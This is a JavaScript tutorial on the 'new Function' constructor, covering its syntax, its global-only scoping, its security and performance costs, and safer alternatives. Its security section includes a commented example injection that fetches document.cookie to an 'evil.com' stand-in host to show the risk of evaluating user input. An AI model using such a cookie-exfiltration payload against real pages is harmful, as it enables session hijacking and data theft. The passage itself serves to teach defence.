The "new Function" Syntax in JavaScript
JavaScript offers an unusual way to create functions: by passing a string of code to the Function constructor. Unlike function declarations, function expressions, and arrow functions, new Function builds a function at runtime from a string. This is a rare and specialized feature. Most developers never need it, but understanding how it works, its unique scoping behavior, and its security implications is important for reading advanced codebases and knowing why alternatives are almost always better.
This guide explains how new Function works, its surprising closure behavior, the narrow set of legitimate use cases, and why you should approach it with extreme caution.
Creating Functions from Strings
The Function constructor accepts strings as arguments. The last string argument becomes the function body, and all preceding string arguments become the parameter names.
Basic Syntax
// Syntax: new Function('param1', 'param2', ..., 'functionBody')
const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 5
console.log(typeof add); // "function"
This is functionally equivalent to:
const add = function(a, b) {
return a + b;
};
Different Ways to Pass Parameters
You can pass parameters individually or as a comma-separated string:
// Each parameter as a separate argument
const sum1 = new Function('a', 'b', 'c', 'return a + b + c');
console.log(sum1(1, 2, 3)); // 6
// Parameters as a comma-separated string
const sum2 = new Function('a, b, c', 'return a + b + c');
console.log(sum2(1, 2, 3)); // 6
// Mixed (multiple strings, each with one or more parameters)
const sum3 = new Function('a, b', 'c', 'return a + b + c');
console.log(sum3(1, 2, 3)); // 6
All three produce identical functions. The engine concatenates the parameter strings, splits them by commas, and uses them as parameter names.
Functions with No Parameters
When you only pass one string, it becomes the function body with no parameters:
const sayHello = new Function('return "Hello, World!"');
console.log(sayHello()); // "Hello, World!"
const getRandom = new Function('return Math.random()');
console.log(getRandom()); // 0.0.5073699654928195 (random number)
Multi-Line Function Bodies
The body string can contain multiple statements, just like a regular function body:
const greet = new Function('name', 'age', `
const greeting = "Hello, " + name + "!";
const info = "You are " + age + " years old.";
return greeting + " " + info;
`);
console.log(greet("Alice", 30));
// "Hello, Alice! You are 30 years old."
Template literals (backticks) make multi-line body strings more readable, but the body is still just a string being parsed at runtime.
The new Keyword Is Optional
The Function constructor works identically with or without new:
const fn1 = new Function('a', 'return a * 2');
const fn2 = Function('a', 'return a * 2');
console.log(fn1(5)); // 10
console.log(fn2(5)); // 10
Both produce the same result. However, using new makes the intent clearer: you are constructing a new function object.
The Created Function Is a Real Function
Functions created with new Function are genuine function objects. They have all the standard properties and methods:
const multiply = new Function('a', 'b', 'return a * b');
console.log(multiply.name); // "anonymous"
console.log(multiply.length); // 2
console.log(multiply.constructor === Function); // true
console.log(multiply instanceof Function); // true
// Can use .call(), .apply(), .bind()
console.log(multiply.call(null, 3, 4)); // 12
console.log(multiply.apply(null, [3, 4])); // 12
const double = multiply.bind(null, 2);
console.log(double(5)); // 10
// Can be used as a callback
console.log([1, 2, 3].map(new Function('x', 'return x * 10')));
// [10, 20, 30]
Notice that the name property is "anonymous". Unlike function declarations and expressions, new Function does not receive a contextual name.
Closure Behavior: Access to Global Scope Only
Here is the most important and surprising aspect of new Function. Functions created with the Function constructor do not close over their enclosing lexical scope. Their [[Environment]] property always points to the global Lexical Environment, not the scope where new Function was called.
Demonstrating the Difference
With a regular function, closures work as expected:
function createRegular() {
const secret = "I am a closure variable";
// Regular function (can access "secret")
return function() {
return secret;
};
}
const regularFn = createRegular();
console.log(regularFn()); // "I am a closure variable"
With new Function, the inner function cannot access the enclosing variables:
function createDynamic() {
const secret = "I am a closure variable";
// new Function (CANNOT access "secret")
return new Function('return secret');
}
const dynamicFn = createDynamic();
// dynamicFn(); // ReferenceError: secret is not defined
The function created by new Function does not see secret because it is not part of the global scope. The function acts as if it were written at the top level of the script.
new Function Can Access Global Variables
Since the function's scope chain points to the global environment, it can access anything in the global scope:
// Global variable
var globalMessage = "Hello from global";
function createDynamic() {
const localMessage = "Hello from local";
return new Function(`
// Can access global variables
console.log(typeof globalMessage); // "string"
console.log(globalMessage); // "Hello from global"
// Cannot access local variables
console.log(typeof localMessage); // "undefined"
`);
}
createDynamic()();
let and const Globals Are Not on the Global Object
Remember that let and const at the top level create global variables but do not add them to the global object. However, new Function can still access them because they are in the global Lexical Environment:
let topLevelLet = "accessible";
const topLevelConst = "also accessible";
const fn = new Function(`
console.log(topLevelLet); // "accessible"
console.log(topLevelConst); // "also accessible"
`);
fn();
Visual Comparison
Regular function:
innerFn [[Environment]] → createRegular scope { secret: "..." }
→ Global scope
new Function:
dynamicFn [[Environment]] → Global scope (directly!)
(createRegular scope is skipped entirely)
Why Does new Function Skip the Local Scope?
This behavior is by design and relates to minification. When JavaScript code is minified for production, local variable names are shortened:
// Original code
function createMultiplier(factor) {
return new Function('x', 'return x * factor');
}
// After minification
function createMultiplier(n) {
return new Function('x', 'return x * factor');
}
// "factor" was renamed to "n", but the string 'return x * factor'
// was NOT updated (strings are never modified by minifiers!)
If new Function could close over local variables, minification would break the code because the string body still references the original variable name. By restricting new Function to the global scope, this problem is avoided entirely. Global variables are generally not renamed by minifiers.
The closure restriction of new Function is not a bug or an oversight. It is a deliberate design choice that prevents conflicts with code minification and ensures that dynamically created functions behave predictably regardless of where they are constructed.
Passing Data to new Function Functions
Since new Function cannot access local variables through closures, you must pass data explicitly as arguments:
function createMultiplier(factor) {
// WRONG: this would fail because "factor" is not in global scope
// return new Function('x', 'return x * factor');
// CORRECT: embed the value directly in the string
return new Function('x', `return x * ${factor}`);
}
const double = createMultiplier(2);
const triple = createMultiplier(3);
console.log(double(5)); // 10
console.log(triple(5)); // 15
Or create a function that accepts the value as a parameter:
function createMultiplier(factor) {
const fn = new Function('x', 'factor', 'return x * factor');
return function(x) {
return fn(x, factor);
};
}
const double = createMultiplier(2);
console.log(double(5)); // 10
Use Cases and Security Considerations
Legitimate Use Cases
The new Function constructor is almost never necessary. However, there are a few narrow situations where it is used:
1. Dynamic code generation from server data
Some applications receive computation rules or formulas from a server or database:
// A formula received from a server (trusted source)
const formula = "return price * quantity * (1 - discount)";
const calculate = new Function('price', 'quantity', 'discount', formula);
console.log(calculate(100, 5, 0.1)); // 450
2. Template engines
Some lightweight template engines compile templates into functions at runtime. This was more common before modern frameworks:
function compileTemplate(template) {
// Very simplified template compiler
const code = template.replace(
/\{\{(\w+)\}\}/g,
(match, key) => `" + data.${key} + "`
);
return new Function('data', `return "${code}"`);
}
const render = compileTemplate("Hello, {{name}}! You are {{age}} years old.");
console.log(render({ name: "Alice", age: 30 }));
// "Hello, Alice! You are 30 years old."
3. Creating functions with dynamically determined parameters
function createFunction(paramNames, body) {
return new Function(...paramNames, body);
}
const params = ["x", "y"];
const operation = "return x + y";
const fn = createFunction(params, operation);
console.log(fn(3, 4)); // 7
4. JSON-based configuration that requires computation
// Configuration from a trusted config file
const config = {
transform: "return value * 2 + offset",
params: ["value", "offset"]
};
const transform = new Function(...config.params, config.transform);
console.log(transform(10, 5)); // 25
Security Considerations
new Function and eval both execute strings as code, which opens the door to code injection attacks. However, new Function is somewhat safer than eval.
The danger: executing untrusted input
// EXTREMELY DANGEROUS: user input becomes executable code
const userInput = prompt("Enter a formula:");
// User types: '); document.cookie; ('
// Or worse: '); fetch("https://evil.com/steal?cookie=" + document.cookie); ('
const fn = new Function('x', `return ${userInput}`);
fn(5);
// The user's malicious code now runs with full access to the page!
Never, under any circumstances, pass user-supplied input to new Function. This applies to any data that originates from:
- Form inputs
- URL parameters
- API responses from untrusted sources
- Cookies
localStorage/sessionStoragevalues that could be tampered with- Any other source that a user or attacker could control
new Function executes arbitrary code. If the string body comes from an untrusted source, an attacker can execute any JavaScript they want in the context of your page. This can lead to XSS (Cross-Site Scripting) attacks, data theft, session hijacking, and complete compromise of the user's browser session.
new Function vs. eval in terms of security
Both are dangerous with untrusted input, but new Function is slightly safer than eval because:
new Functioncan only access the global scope, not the local scope where it is created. This limits the damage if malicious code does run.evalruns in the local scope, meaning it can read and modify local variables, making it even more dangerous.
function testScope() {
const sensitiveData = "secret-api-key-12345";
// eval CAN access local variables
eval('console.log(sensitiveData)'); // "secret-api-key-12345" (leaked!)
// new Function CANNOT access local variables
new Function('console.log(typeof sensitiveData)')(); // "undefined" (safer)
}
testScope();
Content Security Policy (CSP)
Modern web applications should use Content Security Policy headers to block eval and new Function entirely:
Content-Security-Policy: script-src 'self';
This CSP header prevents inline scripts, eval, and new Function from executing. If your application tries to use new Function, the browser will throw an error:
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source.
To allow new Function (which you should avoid if possible), you would need to add 'unsafe-eval' to the CSP, which weakens your security posture:
Content-Security-Policy: script-src 'self' 'unsafe-eval';
Performance Considerations
Functions created with new Function are parsed and compiled at runtime, every time the constructor is called. This is slower than regular functions, which are parsed once during the initial script compilation:
// Slow: parsed at runtime
function createDynamicAdder(n) {
return new Function('x', `return x + ${n}`); // Parsed each call
}
// Fast: parsed once at load time
function createStaticAdder(n) {
return function(x) {
return x + n;
};
}
// Benchmark
console.time("dynamic");
for (let i = 0; i < 100000; i++) {
createDynamicAdder(i);
}
console.timeEnd("dynamic"); // Much slower
console.time("static");
for (let i = 0; i < 100000; i++) {
createStaticAdder(i);
}
console.timeEnd("static"); // Much faster
Additionally, JavaScript engines have a harder time optimizing new Function code because the engine cannot analyze the function body at compile time. The JIT compiler cannot apply many of its usual optimizations.
Why You (Almost) Never Need This
For nearly every situation where you might consider new Function, there is a better alternative.
Alternative 1: Regular Functions and Closures
The most common reason developers reach for new Function is to create configurable functions. Closures handle this perfectly:
// Instead of:
const add = new Function('a', 'b', 'return a + b');
// Use:
const add = (a, b) => a + b;
// Instead of:
function createMultiplier(factor) {
return new Function('x', `return x * ${factor}`);
}
// Use:
function createMultiplier(factor) {
return (x) => x * factor;
}
Alternative 2: Higher-Order Functions
If you need to compose behavior dynamically, use higher-order functions:
// Instead of dynamically generating operation strings:
const operations = {
add: new Function('a', 'b', 'return a + b'),
subtract: new Function('a', 'b', 'return a - b'),
multiply: new Function('a', 'b', 'return a * b')
};
// Use a simple object with regular functions:
const operations2 = {
add: (a, b) => a + b,
subtract: (a, b) => a - b,
multiply: (a, b) => a * b
};
function calculate(operation, a, b) {
if (!(operation in operations2)) {
throw new Error(`Unknown operation: ${operation}`);
}
return operations2[operation](a, b);
}
console.log(calculate("add", 5, 3)); // 8
Alternative 3: JSON.parse Instead of eval/new Function for Data
If you need to parse data from a string, use JSON.parse:
// DANGEROUS: using new Function to parse data
const data = new Function(`return ${jsonString}`)();
// SAFE: using JSON.parse
const data = JSON.parse(jsonString);
Alternative 4: Strategy Pattern for Dynamic Behavior
// Instead of generating functions from strings:
function createTransform(type) {
switch(type) {
case 'double': return (x) => x * 2;
case 'square': return (x) => x ** 2;
case 'negate': return (x) => -x;
default: throw new Error(`Unknown transform: ${type}`);
}
}
const transform = createTransform('double');
console.log(transform(5)); // 10
Alternative 5: Map of Functions for Formula Evaluation
If you receive operation names from a server, map them to predefined functions instead of executing arbitrary strings:
// Server sends: { operation: "multiply", params: [price, quantity] }
const safeFunctions = {
add: (a, b) => a + b,
subtract: (a, b) => a - b,
multiply: (a, b) => a * b,
divide: (a, b) => {
if (b === 0) throw new Error("Division by zero");
return a / b;
},
percentage: (value, percent) => value * (percent / 100)
};
function executeServerOperation(instruction) {
const fn = safeFunctions[instruction.operation];
if (!fn) throw new Error(`Unsupported operation: ${instruction.operation}`);
return fn(...instruction.params);
}
console.log(executeServerOperation({
operation: "multiply",
params: [100, 5]
})); // 500
// Attempting an injection fails safely:
executeServerOperation({
operation: "constructor",
params: []
}); // Error: Unsupported operation: constructor
When new Function Might Be Justified
There are extremely rare cases where new Function is the best tool:
- Code editors and playgrounds: Applications that explicitly let users write and run JavaScript (like CodePen or JSFiddle). Even here, the code should run in a sandboxed iframe.
- Mathematical expression evaluators: When you need to evaluate user-provided math expressions, though a proper parser (like math.js) is far safer.
- Build tools and transpilers: Tools that generate JavaScript code as part of a build process (running in Node.js, not in the browser, with no user input).
Even in these cases, consider using a sandboxed environment, a proper parser, or the Web Workers API to isolate the execution.
Summary
| Concept | Key Takeaway |
|---|---|
| Syntax | new Function('param1', 'param2', 'function body') |
| What it does | Creates a function at runtime from strings |
| Closure behavior | Only accesses the global scope, not the enclosing scope |
| Why global-only | Prevents breakage from minification (local variable names change, strings do not) |
| Security risk | Executes arbitrary code; never use with untrusted input |
| Performance | Slower than regular functions (parsed at runtime, harder to optimize) |
| CSP | Blocked by default; requires 'unsafe-eval' in Content Security Policy |
| Alternatives | Closures, higher-order functions, strategy pattern, JSON.parse |
| When to use | Almost never. Code playgrounds and build tools are the rare exceptions |
The Function constructor exists in JavaScript, and knowing how it works helps you understand the language more completely. But in practice, treat it like a museum exhibit: interesting to study, essential to understand, but not something to use in everyday work. The combination of security risks, performance costs, debugging difficulty, and the availability of better alternatives makes new Function a tool of truly last resort.